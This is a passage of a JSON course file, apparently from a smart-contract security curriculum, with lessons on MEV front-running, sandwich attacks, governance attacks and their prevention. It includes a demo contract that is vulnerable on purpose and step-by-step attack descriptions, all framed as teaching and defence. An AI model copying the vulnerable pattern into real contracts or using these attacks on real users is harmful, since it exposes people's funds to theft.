hacks. Each of these hacks had a devastating effect, with losses running into hundreds of millions. However, they were mainly due to centralized processes, rather than any significant bug.\n\nReading [Rekt.news](https://www.rekt.news/) articles about these hacks will help you comprehend the magnitude of these events. The rise of protocols like chainlink CCIP is to address these vulnerabilities, aiming to diminish our reliance on centralized technology.\n\nThis is a lot to absorb, but remember, the world of crypto and blockchain is a non-stop learning journey. So keep exploring and evolving.\n", + "updates": [] + }, + { + "lessonId": "239c896a-8965-4e4a-93dc-495f581939b1", + "number": 32, + "title": "Exercises", + "slug": "exercises", + "folderName": "32-exercises", + "description": "", + "duration": 2, + "videoUrl": "umaQ401mT6GCPgv3q3hN3q18xsx01eu53hjeuIutYVbdQ", + "rawMarkdownUrl": "/routes/security/7-bridges/32-exercises/+page.md", + "markdownContent": "---\ntitle: Exercises\n---\n\n\n\n---\n\n# Decoding Blockchain Security: Navigating Attacks, and Ensuring Web Three Safety\n\nThe life of a security researcher is one of constant growth and learning. If you've completed this course and you're looking for the next steps and next actions you can take to better yourself in this space, we've provided some great suggestions:\n\nExercises:\n\n1. [Damn Vulnerable DeFi Challenges](https://www.damnvulnerabledefi.xyz/) 1, 2, 4\n2. Write a tweet thread about an interesting [finding from Solodit](https://solodit.xyz/)\n3. Tweet about how you finished the hardest audit yet!\n4. Read about more historic attacks:\n - [Signature Replay](https://solodit.xyz/issues/router-signatures-can-be-replayed-when-executing-messages-on-the-destination-domain-spearbit-connext-pdf)\n - [Merkle tree signature issues](https://solodit.xyz/issues/m-14-merkle-tree-related-contracts-vulnerable-to-cross-chain-replay-attacks-code4rena-factorydao-factorydao-contest-git)\n - [Polygon Double Spend](https://medium.com/immunefi/polygon-double-spend-bug-fix-postmortem-2m-bounty-5a1db09db7f1)\n - [Nomad Bridge Hack](https://medium.com/immunefi/hack-analysis-nomad-bridge-august-2022-5aa63d53814a)\n\n## Hands-on Security Research with Solodit\n\nNow to add a little fun to the mix. Visit Solodit, discover something that piques your interest, investigate old reported issues, and get on Twitter to share your findings! Why?\n\nCreating a tweet thread about your discoveries will help you consolidate knowledge, engage with peers and seasoned pros, and gain valuable insights on the topic. Not to mention, you could be setting the foundation for your personal brand in the security research field. So don’t shy away from sharing; this field thrives on collaborative knowledge sharing – the more you share, the more you learn.\n\n## The Journey Through Boss Bridge and Beyond\n\nCongratulations are in order! You've conquered Boss Bridge and are on the brink of completing part one of this extensive dive into blockchain security. This is hard stuff, no doubt. But you're standing tall, arms loaded with hefty concepts, embracing the weird and the wonderful in the world of blockchain security.\n\nThrough this hurdle-ridden journey, you've gleaned a wealth of knowledge, but we're not done just yet. Let's pause for an important interlude - a pit-stop at miner extractable value (MEV).\n\n## The Unskippable Chapter on Miner Extractable Value (MEV)\n\n“While it's optional to do the Vault guardians audit or security review, learning about the miner extractable value (MEV) is obligatory. All our contracts could be susceptible to MEV-related breaches\" - this just goes to show the significance of understanding miner extractable value (MEV) in the world of blockchain.\n\nIn the sections ahead, we'll dive into what MEV is, why it matters, and how we can fortify our contracts against potential issues stemming from it.\n\nNow, go ahead and take that well-deserved break, grab that cup of coffee or make that gym run. Come back refreshed, because we've got a lot more in store for you!\n\n## Wrapping Up\n\nThe world of technology is akin to a vast ocean, full of wonderful discoveries, but also home to some beastly challenges. This journey isn't meant to be a smooth sail. It's hard, and it’s meant to be. Embrace this rollercoaster ride and let the knowledge you gain empower you to make Web Three safer for all of us.\n\nSo kudos to you for making it this far; remember to rest and prepare for the next stint. Until then, happy learning!\n", + "updates": [] + } + ] + }, + { + "number": 8, + "sectionId": "ed2143d3-17a0-4394-b225-f930e295ac04", + "title": "MEV & Governance", + "slug": "mev-and-governance", + "folderName": "8-mev-and-governance", + "lessons": [ + { + "lessonId": "72251a4f-bba8-4c71-a8e6-5df9a58f0517", + "number": 1, + "title": "Introduction", + "slug": "introduction", + "folderName": "1-introduction", + "description": "", + "duration": 1, + "videoUrl": "rcS02v21CEbLI8Nme5pkCNHzcPypVaNL6Zd1FtxKSTbo", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/1-introduction/+page.md", + "markdownContent": "---\ntitle: Introduction\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n# The Power of Repetition in Cybersecurity Research\n\nHello and welcome back! I certainly hope you've been embarking on the tasks and exercises that we've been laying out because their impact on your skillset cannot be overstated. As we reminded you at the beginning and will reiterate now, *repetition is the mother of skill*. The more time and effort you spend refining your abilities through practical application, the better you will get.\n\n## The Importance of Exercises\n\nDelving into these exercises is not simply a suggestion — it's an indispensable step towards heightening your aptitude. They serve as the stepping stones that pave the path to your mastery. So, prioritize these exercises and practice regularly. Their rewards are directly proportionate to the effort you invest.\n\n> \"*The more you do this, the better you will get. Doing these exercises is really important and really going to level you up.*\"\n\nAbundant in the nature of our work as cybersecurity researchers, or, as we like to say, security \"research-ers\", is the onus of extensive research.\n\n## Learning: A Continuous Journey\n\nAs we strive to fortify Web 3.0 and make the Internet safer, truly grasping that learning is not a destination but a continuous journey becomes a fundamental realization. In this pursuit of knowledge and endless learning, honing the skill of learning how to learn is paramount.\n\n> \"In this quest to keep web3 safer, you will be continuously learning. You will always be on the path for learning. So learning how to learn is going to be a great skill for you.\"\n\nEveryone has a unique learning style — what works for one person may not work for another. Therefore, it’s imperative to identify which process best suits your style of learning. Be it visual learning through infographics and diagrams, auditory learning through podcasts and audio lectures, or kinesthetic learning through hands-on, practical tasks, understanding and adapting to your preferred style can significantly contribute to your learning efficiency.\n\nObserve, adapt, and develop a process that works best for you. To retain as much information as possible from each lesson, experiment with different learning strategies and stick to the one with which you resonate the most.\n\n## Wrapping Up\n\nLearning is a continuous journey, especially in the field of cybersecurity where new trends and threats emerge regularly. Embrace the grind, value the process of learning and remember, it's the repetition of efforts that lead to perfection. Each task you complete, every solution you find, and every mistake you learn from takes you one step closer to becoming a seasoned cybersecurity researcher.\n\nSo, let us put these words into action and continue dedicating time to exercises and persistent learning. The path forward is filled with endless knowledge and it's time we kept walking on it.\n\nStay safe, and keep researching!", + "updates": [] + }, + { + "lessonId": "ae4c5de7-7f2a-4cc1-ae5d-17419374c389", + "number": 2, + "title": "Perseverance", + "slug": "perseverance", + "folderName": "2-perseverance", + "description": "", + "duration": 3, + "videoUrl": "1Qz2YH01L1v00UbX1g02RwfshNHnZPuUHPw1HBjca5n01Gc", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/2-perseverance/+page.md", + "markdownContent": "---\ntitle: Perserverance\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n\n# Why are we not going to audit Vault Guardians together? \n\nOriginally Section Eight was designed to act as our final boss vault; an encompassing guardians security review or audit. However, upon reflection, I've decided that we're going to break this up and let you into the complexity of this code base one piece at a time. \n\nAnd YOU my friend, you can go back and audit [Vault Guardians yourself](https://github.com/Cyfrin/8-vault-guardians-audit) :) \n\n## Vault Guardians\n\n\"vault\n\nSo we aren't going to audit this one together, but we are going to go over some of the attack vectors you'll find in this codebase. And after we do that, you can either:\n\n1. Audit Vault Guardians\n2. Start a competitive [CodeHawks](https://www.codehawks.com/) competitive audit\n\n> \"The reason that this is so big and this is such a monster of a final audit or security review is because you will get good and you will have to get good at coming to a code base and saying, I can do this. I can complete this. This looks overwhelming to me, but it's okay because I know I'm going to come out the other side triumphantly.\"\n\n## Teamwork Makes the Dream Work\n\nIn the vast realms of smart contract security, it's not all about solo missions. Teaming up with somebody else is an incredibly powerful move. Find a buddy in the [Codehawks/Cyfrin Discord]() to share your thoughts, brainstorm, and code together. This is not just about sharing the workload but learning how others think about attack vectors, and figuring out different strategies of how they approach this maze of codes. So sync up with someone, share your findings and grow together.\n\nDespite splitting up these sections, Section Eight remains our final boss. We won't go over it in this post, but don't feel left adrift. There's an audit data branch where you can check the answers and use as reference.\n\n## We start with MEV\n\nSo... To recap.\n\n1. We are going over some exploits in this section, in particular:\n 1. MEV\n 2. Governance Attacks\n2. And then, to finish part 1 of the security course, you can either:\n 1. Audit Vault Guardians\n 2. Start a competitive [CodeHawks](https://www.codehawks.com/) competitive audit\n\nSo... LETS GET IT!", + "updates": [] + }, + { + "lessonId": "d3108829-ec37-4d38-a00f-af90d5f990d5", + "number": 3, + "title": "MEV: Introduction", + "slug": "mev-introduction", + "folderName": "3-mev-introduction", + "description": "", + "duration": 4, + "videoUrl": "3EveL1jnQyw1MiIlwT5qq8x4iNPqFJBAiduhGUKPNQQ", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/3-mev-introduction/+page.md", + "markdownContent": "---\ntitle: MEV - Introduction\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n## What is MEV?\n\nMev stands for \"Maximum Extractable Value\" and it's the value that blockchain node operators and users can extract by ordering transactions in a block in a specific order. \n\nIn order to develop an in-depth understanding, I would highly recommend visiting [Flashbots.net](https://www.flashbots.net/), a research and development organization dedicated to counteracting the negative implications of MEV. Their 'New to MEV' page, in particular, is a fantastic learning resource.\n\n## What is the mempool? \n\n\"regular\n\nWhen a transaction is initiated, it is directed to a specific node which, instead of immediately integrating it into its block, places it into its 'memory pool', or 'mempool'. This constitutes the lower tier of workings that enable blockchain.\n\n\"mempool\"\n\nAs we know, Ethereum is a Proof-of-stake blockchain and the nodes essentially \"take turns\" building blocks for the blockchain. So if you send your transaction to a single node, the node will have to wait until it's that nodes turn to include your transaction! This could take months! So what the node does is that accepts your transaction, and will often \"fan out\" your transaction to other nodes. \n\nIf it's one of the other nodes turns to build the block, if you sent enough of a tip (gas) with your transaction, the node will include your transaction in the block.\n\nSo this \"mempool\" is like a waiting room for transactions.\n\n## Front-running\n\n\"front-running\"\n\nSuppose you're a malicious user and want to use this to your advantage. You have the ability to scan the mempool, essentially predicting future transactions. Let's say User A is malicious, and sees someone make a transaction that is going to make them $100. \n\n...Well User A might just say \"Hey! I want to make $100!\"\n\nSo what User A can do is something called *front-running*. They can send their *own* transaction *ahead* of your transaction to extra some value. The only reason they are able to extract this value is because they were able to see your transaction ahead of time. \n\nFront-running is one of the most common forms of MEV.", + "updates": [] + }, + { + "lessonId": "79a5fc3d-3b95-40d2-a993-07ac09a132cb", + "number": 4, + "title": "MEV: Minimized", + "slug": "mev-minimized", + "folderName": "4-mev-minimized", + "description": "", + "duration": 1, + "videoUrl": "j1F002AUlf7n4FGid4AwVqOPtNm9FjsOOffo01iifRjgY", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/4-mev-minimized/+page.md", + "markdownContent": "---\ntitle: MEV - Minimized\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n# MEV - Minimized\n\nWe can take a look at this image to see a minimized visual representation of what MEV looks like. In specific, this kind of MEV is known as \"front-running\".\n\n\"regular\n\n# MEV - Everywhere\n\nBut not only that, ALL of our sections in the security course have been vulnerable to MEV attacks! Let's go over them...", + "updates": [] + }, + { + "lessonId": "a8e7cd03-4078-468e-8bd1-6daaa2e043cc", + "number": 5, + "title": "MEV: Puppy Raffle", + "slug": "mev-in-puppy-raffle", + "folderName": "5-mev-in-puppy-raffle", + "description": "", + "duration": 2, + "videoUrl": "pVn6Z3G3nmIHmvlHnGCS00hVmBHpjkPUBn02m8zoMDMdk", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/5-mev-in-puppy-raffle/+page.md", + "markdownContent": "---\ntitle: MEV - Minimized\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n# Front Running\n\n## The Puppy Raffle Demo\n\nOur Puppy Raffle's core function is `selectWinner`, which allows users to select a winner in any given transaction. While this `selectWinner` transaction is in flight (pending confirmation), it is readable by other parties involved in the transaction. This means they can potentially see that the impending winner is user A (let's call them MevBot for the sake of argument) and then strategize accordingly.\n\n```javascript\nfunction selectWinner() { // Winner selection codewinner = User A\n```\n\n## When Front Running Strikes\n\n\"puppy\n\nImagine user B - let's call them the Frontrunner - realizing that they're not about to win the raffle. Naturally, they may not want to continue participating in it. Sensing impending loss, Frontrunner springs into action.\n\n*A simple plan*: Before the `selectWinner` transaction goes through, they initiate another function - `refund` - which allows them to pull out their betted money.\n\n```javascript\nfunction refund() {// Refund code// User B pulls out their betted money}\n```\n\nThey are essentially saying, '*No, not on my watch! I'm getting my refund.*' And voila, Frontrunner's transaction gets refunded, while the `selectWinner` function will eventually be executed resulting in (User A) receiving less money. Why? Because Frontrunner (User B) had effectively front-run them and withdrew their betted money!\n\n## The Full Example: Implications of Front Running\n\nLet's add some numbers to visualize this more clearly:\n\n1. Let's say the Puppy Raffle has a total of 10 ETH.\n2. Frontrunner sees that User A is about to win.\n3. Frontrunner and all their peers launch their own transactions to call the `refund` function, effectively withdrawing a substantial portion of the betted money.\n4. Suddenly, there are only 1 ETH left in the pool, instead of the initial 10 ETH.\n5. Finally, the `selectWinner` transaction goes through, and MevBot ends up with a meager prize of 1 ETH instead of the expected 10 ETH.\n\nHere, front running literally robs User A of their full winnings. Frontrunner — observing the transaction in the mempool and acting just in time — was able to drastically alter the outcome.\n\n> \"The ability to 'spy' on pending transactions opens up the possibility for opportunists to front-run your transactions. They can swiftly act in ways that are in their favor but can potentially be detrimental to others, as the 'Puppy Raffle' scenario demonstrates.\"", + "updates": [] + }, + { + "lessonId": "a1e5c3a3-9f17-46f0-9146-32b2842cd63f", + "number": 6, + "title": "MEV: TSwap", + "slug": "mev-t-swap", + "folderName": "6-mev-t-swap", + "description": "", + "duration": 2, + "videoUrl": "V3x8jRm79qgJUvw01SHO91EuBX2W1ARtHp4obLRTnOog", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/6-mev-t-swap/+page.md", + "markdownContent": "---\ntitle: MEV - T-Swap\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n## Exploring the T Swap Issue\n\nWhile working with T swap, there was a prominent issue that surfaced - an issue which was rooted right in the `deposit` function. The problematic player at hand was an unused `deadline` parameter.\n\nTo find the culprit, we navigated to the `SRC` and inspected the `TswapPool.sol` in T swap, where we saw the troublesome `deadline` input parameter laying idly in the `deposit` function.\n\n```javascript\n function deposit(\n uint256 wethToDeposit,\n uint256 minimumLiquidityTokensToMint,\n uint256 maximumPoolTokensToDeposit,\n uint64 deadline\n )\n```\n\nAnd, you ask, what was the consequence of this unutilized parameter? Well, its existence led to a scenario where a deposited transaction could potentially be delayed without encountering a timeout, thereby enabling 'front running'. \n\nA node who receives this transaction could hold your deposit transaction until it benefits them to deposit you in!\n\n## Understand the Impact: An Simple Illustration\n\n\"t-swap\n\nLet's understand the implications with an example. Suppose a user, 'User A', initiates a `deposit` call. However, this call was sent to a particular node connected to an MEV bot, let's call this 'User B'.\n\nThe node, upon receiving the transaction, realizes that the deposit from 'User A' would dwindle its share in the pool. Just by chance, it also knows of certain larger imminent transactions, which will result in big fees. Therefore, the node chooses to stall the transaction from 'User A' temporarily, permitting 'User B' or the MEV bot to collect the big fees – effectively front running 'User A'.\n\n## Introducing 'Sandwich attacks'\n\nBeyond just front running, there are worst forms of deceiving manoeuvres - one such issue that potentially arises in T swap is known as 'Sandwich attacks'. These are when someone front-runs you, and then also \"back runs\" you.\n\n```\n-> Their Transaction\n-> Your Transaction\n-> Their Transaction\n```\n\nThey \"sandwich\" you between two of their transactions. One such example looks like such:\n\n1. You send a TX to buy 1 ETH for 1,000 DAI\n2. An MEV bot sees this:\n 1. Buys up all the ETH, pumping the price to 2,000\n 2. Your transaction goes through, buying 1 ETH for 2,000 DAI\n 3. They then sell their ETH for it's inflated price \n\nSeeing your big order of 1 ETH come in, the MEV bot manipulated the market so you paid more, and they profited. ", + "updates": [] + }, + { + "lessonId": "0435db83-e395-44dd-9c86-07fd2c736a43", + "number": 7, + "title": "MEV: ThunderLoan", + "slug": "mev-thunder-loan", + "folderName": "7-mev-thunder-loan", + "description": "", + "duration": 2, + "videoUrl": "gxPmR02VCgIdep12CnS6OxSh4Lcl2C801uHO2WI4hF02bU", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/7-mev-thunder-loan/+page.md", + "markdownContent": "---\ntitle: MEV - Thunder Loan\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\nSpeaking of Sandwich Attacks, that's exactly what happens in the Thunder Loan protocol. \n\n## An Introduction to Thunderloan and Potential MEV Issues\n\nThe Thunderloan protocol is a platform where users can take out flash loans, with a fee currently standing at ten USDC. These fees are directly withdrawn from TSWAP pools. However, the protocol's design makes it susceptible to MEV strategies. \n\n## The Sandwich Attack: A Closer Look\n\n\"t-swap\n\n\nHere's how it goes:\n\n1. User A makes a request to the Thunderloan protocol for a flash loan.\n2. Seeing the incoming flash loan request, User B, decides to exploit the situation. User B doesn't just want the fee to be high, they want it way higher!\n3. User B then front runs the flash loan function, and spikes the price on Uniswap by taking out a flash loan *themselves* to make the price go higher. Effectively, this swap alters the balances from the initial ten USDC and one ETH to highly skewed figures: perhaps 0.1 ETH and an astronomical amount of USDC (let's say a billion). Since the fee is derived from the T-Swap pool, the Thunder Loan platform now has a way bigger fee, that the user wasn't aware of. \n4. Then, after collecting the fee, User B swaps back to the original ratio of 10 USDC and 1 ETH.\n\n## The Takeaway\n\n> \"Understanding the landscape of MEV vulnerabilities, and how it can lead to 'Sandwich Attacks,' is paramount for DeFi users. Only by identifying potential threats can we begin to devise methods to avoid being sandwiched.\"\n\nThe above exploration of the potential MEV issue in Thunderloan paints a broader picture of potential vulnerabilities in DeFi protocols. By shining light on this issue, we can aspire to ensure safer transactions and reduce the adverse impacts of MEV exploits.\n", + "updates": [] + }, + { + "lessonId": "0856ee94-ef38-45d1-91a3-0b56194b3338", + "number": 8, + "title": "MEV: BossBridge", + "slug": "mev-boss-bridge", + "folderName": "8-mev-boss-bridge", + "description": "", + "duration": 1, + "videoUrl": "Y00YoudniEn00sg01LlzRWNA2OFBUdTxipEXJh001NPQ9vE", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/8-mev-boss-bridge/+page.md", + "markdownContent": "---\ntitle: MEV - Boss Bridge\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n## MEV - Boss Bridge\n\nNow you're starting to see the picture, and the Boss Bridge MEV becomes clear. \n\n\"boss\n\nIf you send a transaction with your signature on-chain, someone can easily see that transaction in the mempool, and then send their own transaction with your signature!\n\n## Prevention\n\nTo prevent this, we can do something similar to the Signature Replay protection, where we add a nonce, make sure the first time it's called with the signer, etc. \n\n", + "updates": [] + }, + { + "lessonId": "db99bec6-0e4b-4b88-88b1-af410e917a5d", + "number": 9, + "title": "MEV: LIVE", + "slug": "mev-live", + "folderName": "9-mev-live", + "description": "", + "duration": 12, + "videoUrl": "MRpS3YaA1Tczbj5qZ1006xq01GcSFosgwmb3wUUS8LgcI", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/9-mev-live/+page.md", + "markdownContent": "---\ntitle: MEV - LIVE\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n# Now, we are going to watch a video of me getting front-ran, LIVE\n\nHere is [the code we are going to use to see it](https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/MEV/Frontran.sol)\n\n```javascript\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\ncontract FrontRan {\n error BadWithdraw();\n\n bytes32 public s_secretHash;\n\n event success();\n event fail();\n\n constructor(bytes32 secretHash) payable {\n s_secretHash = secretHash;\n }\n\n function withdraw(string memory password) external payable {\n if (keccak256(abi.encodePacked(password)) == s_secretHash) {\n (bool sent,) = msg.sender.call{value: address(this).balance}(\"\");\n if (!sent) {\n revert BadWithdraw();\n }\n emit success();\n } else {\n emit fail();\n }\n }\n\n function balance() external view returns (uint256) {\n return address(this).balance;\n }\n}\n```\n\nWatch the video to see:\n1. Me get front-ran\n2. How we prevent it with [Flashbots Protect](https://docs.flashbots.net/flashbots-protect/overview)\n", + "updates": [] + }, + { + "lessonId": "2a8ee81a-1be3-46f5-ba4e-cca550526af3", + "number": 10, + "title": "MEV: Live AGAIN", + "slug": "mev-live-again", + "folderName": "10-mev-live-again", + "description": "", + "duration": 6, + "videoUrl": "tt022yw1eZE34rM01tk5ffoQEMrVE6vw9ZnsEyjrRRBjQ", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/10-mev-live-again/+page.md", + "markdownContent": "---\ntitle: MEV - Live AGAIN!\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n# Can we obfuscate the transaction?\n\nSo, a lot of people saw me do this and started to theorize.\n\n- \"Hey, could we obfuscate the transaction?\"\n- \"What if there was another contract in the way?\"\n- \"What if it was written in assembly?\"\n\nAnd I'm here to tell you, it doesn't matter. The bots simulate the transaction, and pick out the parts they can use to make money. \n\nWe look at a [modified example](https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/MEV/Bouncer.sol) where we add a \"bouncer\" contract to try to \"block\" the transactions.\n\n\"bouncer\"\n\n```javascript\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\ninterface IFrontRan {\n function withdraw(string memory password) external;\n}\n\ncontract Bouncer {\n error Bouncer__NotOwner();\n error Bouncer__DidntMoney();\n\n address s_owner;\n address s_frontRan;\n\n constructor(address frontRan) payable {\n s_owner = msg.sender;\n s_frontRan = frontRan;\n }\n\n function go(string memory password) external {\n if (msg.sender != s_owner) {\n revert Bouncer__NotOwner();\n }\n IFrontRan(s_frontRan).withdraw(password);\n (bool success,) = payable(s_owner).call{value: address(this).balance}(\"\");\n if (!success) {\n revert Bouncer__DidntMoney();\n }\n }\n\n receive() external payable {}\n}\n```\n\nSo, watch the video above to see, will this contract help block the MEV bots? ", + "updates": [] + }, + { + "lessonId": "f89212c6-f10f-42ec-a5f1-cdfeccb54041", + "number": 11, + "title": "Case Study: Pashov", + "slug": "case-study-pashov", + "folderName": "11-case-study-pashov", + "description": "", + "duration": 24, + "videoUrl": "CVVQOfXFAO01PFuY5YC01L73sxl2AqmLSmeBZZ026W2azM", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/11-case-study-pashov/+page.md", + "markdownContent": "---\ntitle: MEV Case Study - Pashov\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\nTo walk us through some real-world reports where MEV was reported, we have guest lecturuer [Pashov](https://twitter.com/pashovkrum) to walk us through! \n\n\n\"pashov\"", + "updates": [] + }, + { + "lessonId": "1323222f-b81d-4173-b237-f43b130d3042", + "number": 12, + "title": "MEV: Prevention", + "slug": "mev-prevention", + "folderName": "12-mev-prevention", + "description": "", + "duration": 4, + "videoUrl": "Bl73cdulINgQh4sc3J4xoxLUcJ300qaxmp2MXb00NvlZM", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/12-mev-prevention/+page.md", + "markdownContent": "---\ntitle: MEV - Prevention\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n## Designing For Protection\n\nOur first line of defense against MEV is to refine our designs. To illustrate this, let's revisit a puppy raffle sample.\n\nWe can shield our raffle from this kind of attack by updating our Solidity code. A simple solution would be to introduce a function, like `endRaffle`, which signifies the completion of the raffle. Once a raffle is `ended` it will enter a new state, where no one can refund or do anything until a winner is picked. Here’s an example of how we can incorporate additional protections into our smart contract:\n\n\"pashov\"\n\n\nOur contract now includes a `refund` function that checks if the raffle has ended - if it has, it reverts the function, making it impossible for users to refund their bets after peeking into the mempool.\n\n## Private or Dark Mempool\n\nWhen the designs have been beefed up, the next step to consider is the use of a private or \"dark\" mempool, such as [Flashbots Protect](https://docs.flashbots.net/flashbots-protect/overview), MEV Blocker, or a secure RPC.\n\n\"pashov\"\n\nInstead of submitting your transaction to a public mempool, you can send your transaction to this private mempool. Unlike the public mempool, this keeps the transaction for itself until it's time to post it on the chain.\n\nDespite its pros, the private mempool requires you to trust that it will maintain your privacy and avoid front-running. Another downside is the slower transaction speed. If you're curious, you can observe this in action by adding an RPC from Flashbots Protect to your MetaMask.\n\n\n\nAs security experts, we should always be advising protocols how they can defend their users against MEV. ", + "updates": [] + }, + { + "lessonId": "d66d4e52-3711-4f09-b765-2a6ea6df136d", + "number": 13, + "title": "MEV: Recap", + "slug": "mev-recap", + "folderName": "13-mev-recap", + "description": "", + "duration": 2, + "videoUrl": "ohCKCC01cUCNlj0202cS36Z4TDdSi01SgvfGuNcLkuOAvQk", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/13-mev-recap/+page.md", + "markdownContent": "---\ntitle: MEV - Prevention\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n# Understanding Mev and How to Mitigate Its Impact\n\nMev refers to the potential reward that a miner, node, or bot could glean from ordering transactions. They often use the information of what's coming from the mempool to make those ording choices. \n\n## Types of Mev Attacks\n- Front-running\n- Backrunning\n- Sandwich \n- Many more...\n\nThere are various ways through which Mev can be exploited to benefit the entity spotting the transaction. Some of the most common types of Mev attacks include:\n\n- *Front Running*: This occurs when an entity spots a pending transaction and then acts quickly to execute another transaction before the victim transaction hits. \n- *Sandwich Attacks*: Similar to front running, this involves an attacker boxing in a user's transaction with their transactions on either side. \n\n## Protecting Against Mev Attacks\n\nWhile the realities of Mev can be daunting, there are ways to mitigate its impact:\n\n1. **Better Design** – Constructing the transaction in a manner that makes it harder for bots to gain useful knowledge. This might involve masking critical information or employing other strategic measures.\n2. **Use of Private RPC or Dark Pools** – These are networks that allow transactions to be processed outside of the public mempool. Services such as Flashbots Protect, Mev Blocker, and Secure RPC play an essential role in this regard.\n\nWe should note that Mev is not some mythical concept – it does have real-world consequences on the Ethereum blockchain. I have witnessed firsthand the material impact of it, even losing real money in the process.\n\n> quoted text\"**Mev bots are real, and they are actively scouting for any opportunity to make money. Consequently, understanding how Mev works and how to protect against it is crucial for anyone operating within the blockchain landscape**.\"\n\nSo, having read this blog post, you should now have a solid grasp of Mev. Here's to smarter and better-secured transactions on the blockchain!\n", + "updates": [] + }, + { + "lessonId": "ceb58aa9-58d3-4503-aff4-92ad38a9b4f6", + "number": 14, + "title": "Governance Attack: Intro", + "slug": "governance-attack-intro", + "folderName": "14-governance-attack-intro", + "description": "", + "duration": 7, + "videoUrl": "SR9klB02AgWU02OnuYturXAzUwDhG1rz5YwUewUW6mRbI", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/14-governance-attack-intro/+page.md", + "markdownContent": "---\ntitle: Governance Attack - Introduction\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\nFor this one, sit back and relax as Cyfrin's own [Juliette](https://twitter.com/_juliettech) gives us a walkthrough of governance attacks from a high level. ", + "updates": [] + }, + { + "lessonId": "1a7f7d59-f971-4aa0-8085-58514c7f818e", + "number": 15, + "title": "Case Study: Bean", + "slug": "case-study-bean", + "folderName": "15-case-study-bean", + "description": "", + "duration": 20, + "videoUrl": "5BnEkscLdV3LgCWXHZFHmaQMIxTHFFO1MxUOXox5OOo", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/15-case-study-bean/+page.md", + "markdownContent": "---\ntitle: Case Study - Bean\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\nAnd now, we have guest lecturer and fellow course creator [JohnnyTime](https://twitter.com/RealJohnnyTime) to walk us through a real-world case study of a governance attack in action.\n\nYou can read more about the [Bean attack in Rekt.](https://rekt.news/beanstalk-rekt/)", + "updates": [] + }, + { + "lessonId": "224db888-298d-4ee2-8c67-15fc3cb6eff3", + "number": 16, + "title": "End Part 1", + "slug": "end-part-1", + "folderName": "16-end-part-1", + "description": "", + "duration": 10, + "videoUrl": "4jQ4wHrFAm2RLQCut16euCCa7JoidyrfDGeonxwGe8U", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/16-end-part-1/+page.md", + "markdownContent": "---\ntitle: End of Part 1\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n# Congratulations on Nailing Part One of the Security Curriculum: Here's What's Next\n\nHey, friends. Great to see you again. What a journey it's been so far!\n\nGetting through the first part of this majorly intense curriculum deserves a massive round of applause. We've covered a variety of crucial topics. From `Mev signature replays` and `reentrancy attacks`, we've gone over the `audit process`, to `stateful fuzzing`. We've also touched on interesting concepts like `invariants`, `arbitrage`, `DeFi`, `borrowing and lending`, `flash loans`, and much more.\n\nIn just completing the last five security reviews, you've not only established a formidable portfolio but also demonstrated that persistent practice pays off. Remember: repetition is the mother of skill.\n\n\n## You got this\n\nAnd here is the thing, we've just trained you on the EXACT process the professionals do. So you know how to do this!!\n\n## The Game Plan\n\n**1. Scoping**\n\nBegin with scope identification. Determine what you're working with - the commit hash, the compatibilities, the chains, and the tokens.\n\n**2. High-Level Analysis**\n\nNext, aim to understand what the code is supposed to achieve. Read the documentation, discuss with the team, make diagrams, take notes. Dump all your thoughts down on paper.\n\n**3. Code Comprehension**\n\nTime to dive into the code. It’s okay if you don’t find anything at first – that's normal. Simply aim to interpret the code. Ask yourself: Is the code doing what the protocol intends it to do?\n\n**4. Identifying Vulnerabilities**\n\nYour final mission is the most challenging - finding vulnerabilities. Use your checklist for guidance, looking for any weird ERC20s or potential MEV.\n\n## Testing Your Skills\n\nThe Vault Guardians code base offers greater complexity than any previous codebases. Embrace this new level of difficulty. Seize this opportunity to test your prowess in the face of adversity.\n\nMy suggestion to you: team up with a peer. This vault presents numerous bugs and issues for you to uncover, which will help build your confidence and improve your bug-finding skills.\n\n**And remember: do not proceed to part two just yet.**\n\n## A Valuable Detour\n\nNow, it's time. You have 2 options. \n\n\\**Option 1: Compete in a real competitive audit on platforms like Code Hawks. The excitement of the competition will keep you on edge and the real code base is sure to test all your abilities*.\n\n\\*\\*Option 2: Pair up and tackle the Vault Guardians codebase as a learning experience.\n\n## To Recap:\n\n1. First of all, great job! By just getting this far, you outdo more than 70% of the current security landscape.\n2. Do not move to part two yet. Either try your hand at a Code Hawks competitive audit or complete the Vault Guardians audit with a partner.\n\nRemember your security journey is far from over. Part two is where we (will) dig even deeper into assembly, EVM, formal verification, and more. \n\nSo... We are looking forward to seeing you back for Part 2 after you try your hand at either Vault Guardians or Code Hawks.\n\nGood luck!!", + "updates": [] + } + ] 